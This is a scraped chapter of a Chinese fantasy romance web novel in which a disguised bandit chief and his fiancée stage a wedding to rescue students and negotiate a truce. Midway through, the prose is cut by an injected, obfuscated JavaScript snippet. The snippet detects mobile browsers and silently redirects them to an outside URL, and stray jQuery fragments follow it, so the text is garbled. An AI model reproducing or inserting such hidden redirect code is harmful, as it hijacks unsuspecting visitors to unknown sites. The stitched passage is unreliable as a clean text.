红烛高照的婚房里，三个雕花木箱堆满绣球，细碎的花瓣从箱缝溢出来，其中一个箱子已经打开。


    屏风后却传来布料撕裂的声音，曲长水过去看时，程石榴已经一身喜服，也戴着面罩，却正在用剪刀绞开喜服侧面繁复的盘扣。


    程石榴知道管家老严承诺马上就会喊寨主过来，眼前人就一定是他，可是连夜的紧张，让她越发握紧手中剪刀，不敢放松。


    曲长水见状一手指尖钩住面罩的流苏，猛地向下一扯，露出真容让她放心；另一手接过她的剪刀放下，眼中传递出笃定。


    这时，烛火爆了个灯花，她却不再有受惊的神色，与他心照不宣地交换眼神。她突然眼圈一红，却狠狠抿了一下嘴唇，控制住心灰意冷的情绪，道："一组二组……他们坠落狼牙绝壁……生死未卜。"


    "救回来了。"他听出她鼻息带出呜咽，伸手勾下她的面罩，迎上她不可思议的目光，却轻轻拭去她的眼泪，"六人现在都在寨子里。张副将是我们这边的。你前脚去，我们后脚便下崖找人了。"


    她点点头，发出如释重负的一声叹息，轻声道："太好了。"


    她拉他走了几步，轻手轻脚打开另外两个雕花木箱，只见满箱的绣球花中，左边箱盖缝隙渗出曲长风那绣着飞鹰翅膀的银丝袖口，而右边箱中一片紫蓝花瓣中程艺芯松了鬓边发髻，却在梦中呢喃。


    "蒙汗药？"他是明白了，加上这两位，学生们是一个不少。


    石榴伸手拿过矮几上的剪刀继续剪身上喜服不合适的地方，又拿出针线，"曲麻菜和茴香拌上野蜂蜜哄了半天，才愿意吃。加了一点点蒙汗药，那还是我从孙芳菲的包裹里顺出来的。"


    他都能听到表弟长风打鼾的声音，有一丝荒诞，"没想过在婚房里还能听到另一个男人打鼾。他们醒来不会怀疑你？"


    石榴眨巴眨巴眼睛，恢复神采，示意手里的剪刀："这不忙着改装呢嘛。现在双重身份，不止面罩了，要快速换装。你看，我可以婚服里面直接套夜行服。"


    石榴手上针线不停，一边向曲长水解释她如何一路过来的。竟得益于范副将在江慕镇养了三房外室，她突然想起自家培育的繁花绣球曾销往该镇。


    作为精明的商人，她自然记得这三位大客户--每次都是三户买了一模一样又同等数量的花苗和羊粪肥料。


    范副将必定出席黑水寨寨主的婚礼，按照他"雨露均沾"的作风，贺礼必是三大箱花，每房外室各准备一箱。


    果然，待他们三人潜回观察哨外，正看见三大花箱摆在门口马车上，他们顺利爬进花箱中，由此混入黑水寨。


    "他们也愿意躲入花箱一试？那两位可是自视甚高，七八级的灵力修为，钻箱子？"他做过最坏的打算，他们三位会连过范副将和他黑水寨两道隘口，一路厮杀回来。


    "在场的谁收过聘礼。"石榴得意洋洋说出那时说服那两位的话，"只有我有过婚约好不好，熟悉这些礼物的大箱子都会被送往哪儿。我跟他们说呐，到时候从库房悄咪咪出来，就能在黑水寨浑水摸鱼、自由行动。"


    当时石榴也明白所有的礼箱都会由管家检验，当初万叔就曾验过姑苏送来的聘礼，所以当管家老严打开箱子看到她时，她就立刻被带来了这里。


    "是不是每个环节严丝合缝？"石榴夸她自己，"我可太聪明了。快想想，一会儿我怎么说服他们先去救云鹏方圆，然后就躲在柴房，我看这儿有四五间柴房，你要不吩咐下去直接忽视一间--不行不行，你这儿有没有什么密道可以通向外面。"


    "云鹏的小叔和刘县委是同乡，宋御史方圆也见过，他们都能凑一桌麻将了。一起上桌、一起谈判。现在不用想把人搞出去，范副将可是这里的森林之王，我们都想想，怎么和他谈能不撕破脸。"


    就在往婚房来的时候，范副将已经带两队精兵进了黑水寨。院落喜炮准备，楼下正厅虎狼环伺，楼上婚房的她却当真有几分压寨夫人的架势，挥舞着手臂，略显笨拙又极度认真地指挥。


    阴差阳错中，她竟随他一起，也披上了面具的伪装。


    费尽心机搭建的人设不过是烟雾弹。


    远在悦闳书院，众人只道他和她是因离谱婚姻而不得不相处的陌生人；现在黑水寨中，也无人知晓寨主和压寨夫人竟是悦闳书院的师生二人组。


    他和石榴之间的真实关系，除了彼此，无人知晓。


    他将紫铜面罩递给她，又示意旁边托盘上的，才是真正的婚服。


    "穿这件？"石榴丝毫没有因为辛辛苦苦缝制了半天而泄气，反而叉腰，"小狐狸，不要总想寨主的派头。盛大的婚礼震慑众人，提升地位，我能理解。但是重点是我们要演双簧，救出同学，逃命为上--"


    突然石榴反应过来，不再像先前那般眉飞色舞地揣摩两种身份的演绎。


    一桌麻将，他明明说了这样的话。为什么呢，情况变了？


    她已经将盘扣改成了暗扣，两边指节一勾一扯，再从袖中取出玄铁面罩，像京剧变脸大师一般，一拉一扯，快速变装。


    整个过程行云流水，将压寨夫人和书院学生两种身份切换自如。


    她抬起头，凝望他，眉头紧锁在思考，指尖划过正红的缎面，转瞬间又拽起玄黑的衣角。二人间只剩下布料沙沙的摩擦声。


    几个时辰前还岌岌可危的局势，此刻像被注入了凝固的泥浆，那些濒临崩塌的裂痕突然停止了蔓延。但是他不是那种会欣赏颓废美的人，他都不愿站在断壁残垣前，掌心会沁出细密的汗。


    这时几个带着面罩的暗卫进来，抬走了两个箱子。程石榴站了起来，曲长水拦住她。


    "放心。让他们去到云鹏和方圆那儿。我们的婚宴他们坐一桌。"


    "石榴，我要走了。之前说的三个月消失，要提前了。"


    他随意坐在婚床上，看着她的手慢慢放下来，"我需要黑水寨，不损兵折将，齐齐整整地纳入石总兵麾下编制。现在是最好的局面，宋御史带来了招安文书。范副将烧了月壤，也是退了一步。"


    "真的在打麻将吗？"石榴没头没脑问了一句。


    "下棋。三十二子的象棋。"


    "所以他谋杀书院学生，也可以一笔勾销吗？我知道人没死，可那是他们命大，不是他手下留情。"


    "我会坐实他的罪行。一组二组林辰他们都与我谈过了，他们愿意暂时隐姓埋名随黑水寨走。待日后范副将落马，他们定会出来指认。"


    他见石榴抬眼看他，继续告知道，"当然没有拿下面罩，我以黑水寨大当家郭萧的身份与同学们商议的。有些正义就像这些桃子，强行催熟只会结出苦涩的果。你相信我，有点耐心。"


    石榴顺着他的视线看见桌上的早桃，她伸手掰开，果然是烂心的桃子，"你不回近水楼台了？"<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908108|176406||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    "嗯。"


    "曲长水可不带面罩，近水楼台的那个你就凭空消失吗？"


    "放一场火，配合我走火入魔的肉身。"


    "肉身，天啊，你要再断一尾？"


    "嗯。用一尾换脱离曲家，值得。"


    石榴胸膛起伏，她强忍情绪："骗子！一尾？你当我三岁呢。我信你个鬼！一尾就能让你舅舅，师祖师娘罢休。一尾也就只能骗骗我。现在想来你那时气息太弱了！你……你……是不是准备把尾巴都割了！扔火里去。从此只剩一条命！"


    她是了解他的。


    "我们能从目前的状况下脱身，也算万幸。不用厮杀，大家都留着命。也要看谈得怎么样，不过目前看来今晚遗落影域不会乱战成一地尸骸。"他不做正面回答。


    他见她心情低落："你骂得对。我是个骗子。不能帮你退婚了。今天这婚结的也没什么用。"


    其实这身行头都是青云寨姜雯送来的，她和张副将当年也是演了一场有始无终的戏，才让张副将顺利留在范副将身边当内应。但谁也没想到，她居然准备了一整套婚嫁行头，难道并肩作战，终也带来情意绵绵。


    当她得知郭萧要大婚，新娘子却连婚服都凑不出整套时，便带来了一箱她的珍藏。


    用她的话来说，酒席摆不了十里长街，也得让他们亲眼看看黑水寨有多气派，多能折腾，越有气势，他们越不敢动歪心思。


    石榴突然笑了，这笑容颇有点跃跃欲试的样子："怎么没用！能全身而退。那几位还真喜欢凑热闹！我还没见过谈判怎么谈呢，必须见识见识。"


    石榴想到她刚从箱子里爬出来后，赤足踏上阁楼吱呀作响的木梯，推开三角窗，这里是整个黑水寨最高的地方，不仅密林外的官道能尽收眼底，黑水寨寨门不到二百米的距离已经陆陆续续立满了兵。


    有几处插了旗，旗上绣着范家的旗号，和那三箱运花的箱子刻的徽章一模一样。一个副将何时已将私兵屯至如此？


    话说回来，他不也是吗？这些年他在夹缝里求存，攒下的黑水寨精兵都是心头肉，眼看要被栽赃围剿成馅儿，当即赶回这里。


    先解了眼前的困再说！


    曲长水并不知道她心中的嘹亮，他信她的纯白，却不敢抬头看她的眼睛，救命之恩还没报，却夸下海口，现在又要拜托她共演一场婚礼。


    他只能逼自己坦诚，然而这份坦诚只会让她离他更远吧。


    他要告诉她，少河龙是东宫太子的孩子，当今圣人的人族孙子，更绝得是他一知道自己的身世，就大笑了快半个时辰，然后一遍遍让看守传话，他要见程石榴！


    此时石榴当然还不知道这事，她像是放下心结一般，居然开始拿起漂亮的那套婚服对镜比划。


    她转头道："让你寄出婚帖的是我。干嘛扭扭捏捏，像个做错事的孩子样。是！你不能和我履行婚约。又能怎！回近水楼台，结那个婚也是假的啊！小狐狸你忘啦！还有和离那一摊子事呢！你要装纨绔装放荡装肺痨不，我要天天上演一哭二闹三上吊不，想想就头疼。不走那一趴，甚好，本姑娘表示可以！一定有更好的解决之道。"


    她的回应，意料之外却又情理之中。若是别的女子，他一定觉得这话是在阴阳怪气，在他本就过意不去的心口上捅刀子。


    可是她说，又歪着头对他笑，和小时候简直一模一样，那般坦坦荡荡。